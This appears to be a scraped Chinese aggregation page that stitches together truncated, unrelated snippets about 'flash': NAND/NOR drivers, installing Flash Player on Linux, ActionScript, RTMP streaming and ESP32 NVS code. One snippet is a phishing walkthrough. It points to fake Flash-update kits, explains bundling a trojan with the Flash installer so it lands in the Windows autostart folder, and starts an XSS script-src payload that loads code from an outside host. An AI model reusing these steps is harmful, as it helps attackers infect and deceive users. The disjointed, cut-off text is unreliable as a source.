很长一段时间,nand flash都是嵌入式的标配产品。nand flash价格便宜,存储量大,适用于很多的场景。现在很普及的ssd,上面的存储模块其实也是由一块一块nand flash构成的。...对于linux嵌入式来说,开始uboot的加载是硬件完成的,中期的kernel加载是由uboot中的nand flash驱动完成的,而后期的rootfs加载,这就要靠kernel自己来完成了。...1、nand flash驱动在什么地方,可以从drviers/mtd/Makefile来看 obj-y += chips/ lpddr/ maps/ devices/ nand/ onenand/...tests/ 2、nand在mtd下面,是作为一个单独目录保存的,这时应该查看nand下的Kconfig config MTD_NAND_S3C2410 tristate "NAND Flash...for Samsung S3C SoCs" depends on ARCH_S3C24XX || ARCH_S3C64XX help This enables the NAND flash
adobe-release-i386-1.0-1.noarch.rpm rpm --import /etc/pki/rpm-gpg/RPM-GPG-KEY-adobe-linux...adobe-release-x86_64-1.0-1.noarch.rpm rpm --import /etc/pki/rpm-gpg/RPM-GPG-KEY-adobe-linux...3.yum update 4.yum install flash-plugin nspluginwrapper alsa-plugins-pulseaudio libcurl 效果 ?
W25QXX介绍 W25Q64是一颗SPI接口的Flash存储芯片,是华邦W25QXX系列里的一个具体型号,这个系列里包含了W25Q16,W25Q32,W25Q64,W5Q128等等。...25Q 系列比普通的串行 Flash 存储器更灵活,性能更优越。基于双倍/四倍的 SPI,它们能够可以立即完成提供数据给 RAM, 包括存储声音、文本和数据。...硬件环境 当前测试使用的开发板采用友善之臂的Tiny4412开发板,芯片是三星的EXYNOS-4412,最高主频1.5GHZ。...开发板引出了SPI的IO口,这里使用的W25Q64是外置的模块,使用杜邦线与开发板的IO口连接。...开发板上引出的IO口都是5V和1.8V,为了方便供电,采用了一个USB转TTL模块提供电源,测试驱动。
如何安装Linux的flash 1、访问flash官网,点击下载,选择你的操作系统和flash版本 ? ?...2、下载后,解压下载的压缩包 tar -zx -f install_flash_player_11_linux.x86_64.tar.gz #解压下载好的压缩包 3、安装火狐浏览器插件 cp libflashplayer.so...所以设置下插件的权限 cd /usr/lib64/mozilla/plugins #定位到插件目录 chmod 755 libflashplayer.so #更改插件权限 5、之后重新打开火狐浏览器,即可支持flash...到此这篇关于安装Linux的flash的步骤方法的文章就介绍到这了,更多相关如何安装Linux的flash内容请搜索ZaLou.Cn以前的文章或继续浏览下面的相关文章希望大家以后多多支持ZaLou.Cn
因为Nor Flash的数据共有16位,也就是每个地址保存了2B数据,而我们的2440每个地址是保存的1B数据,比如:当2440访问0X00地址时,就会读取到Nor Flash上0地址的16位数据,然后... // 设置字节位宽,因为nor为16位,所以等于2 3.5 make modules 编译模块 如下图所示,可以看到physmap.c编译成.ko模块了 3.6 然后放在nfs目录下,启动开发板.../module.h> #include #include #include #include #include #include #include #include... #include #include static struct mtd_info
Linux下,64位的Firefox、Opera等浏览器默认搜索到的Flash插件是32位的,安装之后也不能正常工作。 需要手工安装一下。...1.下载插件 使用浏览器下载: 到Adobe的站点上下载64位的Flash插件: http://labs.adobe.com/downloads/flashplayer10_square.html 插件下载地址...:http://download.macromedia.com/pub/labs/flashplayer10/flashplayer10_2_p3_64bit_linux_111710.tar.gz 使用....tar.gz 2.安装 解压下载的压缩文件 tar -zxf flashplayer10_2_p3_64bit_linux_111710.tar.gz 移动解压 得到的 libflashplayer.so...重启浏览器 重新启动浏览器,就能正常显示网页中的Flash了。
flash player插件可到Adobe官网下载。 正常情况下,在firefox目录中创建一个plugins目录,将libflashplayer.so文件拷贝进去即可。...再鄙视一下Firefox官网,竟然没有手动安装flash插件的说明!还让不让人用啊!可用性在哪里??!
“flash开发”发展到今天,大体上已经细分为二个分支:Flash 设计师 和 Flash程序员,然而设计师不懂代码,程序员不懂设计,如何把这二种角色有机结合起来,实现代码、界面分离?...然后程序员把这类包含(皮肤)素材的swf嵌入到程序代码中,用代码创建相应的实例,这样程序员用flash builder/flashdevelop做开发,设计师用flash cs做设计,互不相干。...如上图所示,这里库中放了三种基本的素材(按钮,位图,电影夹),然后在代码中可以这样处理: package { import flash.display.Sprite; import flash.display.DisplayObject...; import flash.display.SimpleButton; import flash.events.MouseEvent; import flash.display.MovieClip...; import flash.display.BitmapData; import flash.display.Bitmap; public class Demo extends MovieClip
图1 就是从上电到Linux启动的一个概要的流程图。首先RBL(ROM boot loader)从NAND上读取UBL(user boot loader)并且复制到ARM的内存里面。...然后UBL从NAND Flash里面读取U-Boot的内容并且复制到DDR里运行。DDR里面运行的U-Boot又从NAND Flash里面读取Linux内核代码,并且复制到DDR上,然后启动内核。...这样DM365的系统就从上电到完成Linux内核启动,然后就可以运行相应的应用程序了。...图1 NAND Flash启动流程 下面我们会一步一步的介绍从上电到Linux启动是如何实现的。...最后U-Boot加载uImage并启动了Linux,完成了从上电到Linux启动的整个过程。
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sudo gedit /etc/fonts/conf.d/49-sansserif.conf
在Adobe宣布到2020年让Flash播放器寿终正寝之后,现在网站开发人员Juha Linstedt发起了请愿运动,正在寻求让Adobe将Flash开源,用作互联网历史的一部分。...他们表示,Flash是互联网历史上重要的一块,杀死Flash意味着后代无法看到过去的历史。 Linstedt进一步解释说,通过这样做,它将保持Flash项目的生存和安全。...他已经开发出一套可视化方法,将SWF和FLA文件转换为HTML5,Canvas,WebGL或Webassembly。开发者的另一个建议是独立的浏览器,可以播放Flash内容。...此外,参与请愿的开发者认为,Adobe可能有一些许可的组件不能被公开使用。...尽管如此,Linstedt仍然希望这不会是一个障碍,他们呼吁Adobe请简单地留下某些组件被删除的说明,开发者将绕过它们,或者用开源替代方法来替换它们。
Intel于1988年首先开发出NOR flash技术,彻底改变了原先由EPROM和EEPROM一统天下的局面。...紧接着,1989年,东芝公司发表了NAND flash结构,强调降低每比特的成本,更高的性能,并且象磁盘一样可以通过接口轻松升级。...应用NAND的困难在于flash的管理和需要特殊的系统接口。 任何flash器件的写入操作只能在空或已擦除的单元内进行,所以大多数情况下,在进行写入操作之前必须先执行擦除。...一般地址线和数据线共用,对读写速度有一定影响;而NOR Flash闪存数据线和地址线分开,所以相对而言读写速度快一些。...NAND FLASH和NOR FLASH的共性 NAND和NOR芯片的共性首先表现在向芯片中写数据必须先将芯片中对应的内容清空,然后再写入,也就是通常说的“先擦后写”。
纵观现在国内绝大多数FLASH WEB GAME的规模和难度,我觉得前端AS人员大概需要2-7个之间,主程序有效代码一般不会超过10W行。...而这些工作在项目启动之初都是非常重要的,直接影响到项目中后期的开发和维护效率。 →上面提 到的那些点,我不可能全讲一遍,不然就不叫”浅谈FLASH WEB GAME”了!...先谈前端框架:现在市面上流行很多前端框架,不管是针 对”FLASH”的,”FLEX”的还是”通用的”都有。...3,我知道现在可能还有一些朋友在用FLASH IDE写代码,这些朋友的执着让人钦佩,但我想任何一个熟练使用过FLEX BUDIER、FD或者FDT的朋友,都绝不会再回头使用FLASH IDE写代码了。...相信任何有过游戏项目经验的人都应该能理解,UI也是 FLASH开发中的重头戏,很多细节的处理非常麻烦,在项目早期具有很大的工作量。
为了能更好的做好音视频监控和问题定位,便想自己实现一套flash直播简单的demo,在通过改变上行的带宽,码率,帧率,gop大小等信息来观察延时和首帧的情况。...客户端可以是 Flash Player 或 AIR 应用程序。...服务器可以是 Web 服务器、Flash Media Server、运行 Flash Remoting 的应用程序服务器或 Adobe Stratus服务。...有关详细信息,请参阅 Flash Remoting 文档。 ? 传递“rtmp/e/s”URL 可连接到 Flash Media Server 应用程序。 ?...调用 NetStream.play(),从本地磁盘、Web 服务器或 Flash Media Server 播放媒体文件。 ?
准备钓鱼套件https://github.com/r00tSe7en/Flash-Pop 美化版 https://github.com/hackxc/xss_flash 普通版 1.生成木马并捆绑flash...的安装程序 将木马与flash安装程序捆绑一起 木马解压位置:windows的自启动目录,这个百度钓鱼钓时间长就知道了。...//www.webweb.com/ 香港云可以白嫖 7、下面开始钓鱼 如果你想利用XSS钓鱼 可以使用src标签 构造payload:<scriptsrc="http://www.xx.com/<em>Flash</em>.cn
Flash插件概述 Flash插件一款安装于浏览器插件,即Adobe FlashPlayer Plugin,使浏览器得以播放swf文件。...Adobe Flash Player是一种广泛使用、专有的多媒体播放器,Adobe Flash Player 最初设计目的为播放2维向量动量,但至此之后成为适合开发创造丰富型互联网应用程序、流视频音频的工具...紧接着宽频网络网络即将进入我们的生活,相信Flash将会变得更普及。 Flash插件是一款高级客户端运行时使用的播放器。...Flash插件安装步骤 1.其实现在flash插件基本都是系统自带的了,但是如果你还少要安装,那么具体的安装过程如下:第一步:双击运行Flash插件下载最新版安装程序,打开Flash插件装包。...第四步:安装完成即可打开Flash插件 。 Flash插件使用及注意事项1、如何安全合理使用Flash插件? Flash插件是一款高级客户端运行时使用的播放器。
下面我们就来讲讲如何通过Fscommand指令来实现全屏播放、取消Flash播放时的右键 菜单以及关闭Flash动画。 ...问:请问在Linux下如何观看flash动画,有插件for Linux的么? 答:http://www.openswf.org/有。 46。问:如何将fla文件直接生成exe文件?...若是在html中引用flash可在html文件中的前加上下面的语句:“透明Flash的使用方法:在插入flash的代码中插入<param name=”wmode” value=”transparent”...答:get url:mailto:flash8@flash8.net 69。...用Asp+Flash实现。
客户端可以是 Flash Player 或 AIR 应用程序。...服务器可以是 Web 服务器、Flash Media Server、运行 Flash Remoting 的应用程序服务器或 Adobe Stratus服务。...• 传递“http”URL 可连接到运行 Flash Remoting 的应用程序服务器。...有关详细信息,请参阅 Flash Remoting 文档。 • 传递“rtmp/e/s”URL 可连接到 Flash Media Server 应用程序。...• 调用 NetStream.play(),从本地磁盘、Web 服务器或 Flash Media Server 播放媒体文件。
说明 nvs是底层封装的一套把数据存储到flash里面的函数; 数据是以键值对的形式存储数据(就是标识符+数据的形式) 不如直接看代码 #include #include <string.h...include "freertos/queue.h" #include "freertos/event_groups.h" #include "esp_system.h" #include "nvs_flash.h..." #include "esp_log.h" void app_main(void) { //初始化 NVS esp_err_t err = nvs_flash_init();...err == ESP_ERR_NVS_NO_FREE_PAGES || err == ESP_ERR_NVS_NEW_VERSION_FOUND) { ESP_ERROR_CHECK(nvs_flash_erase...()); err = nvs_flash_init(); } ESP_ERROR_CHECK(err); /*操作nvs时用的句柄*/ nvs_handle_t
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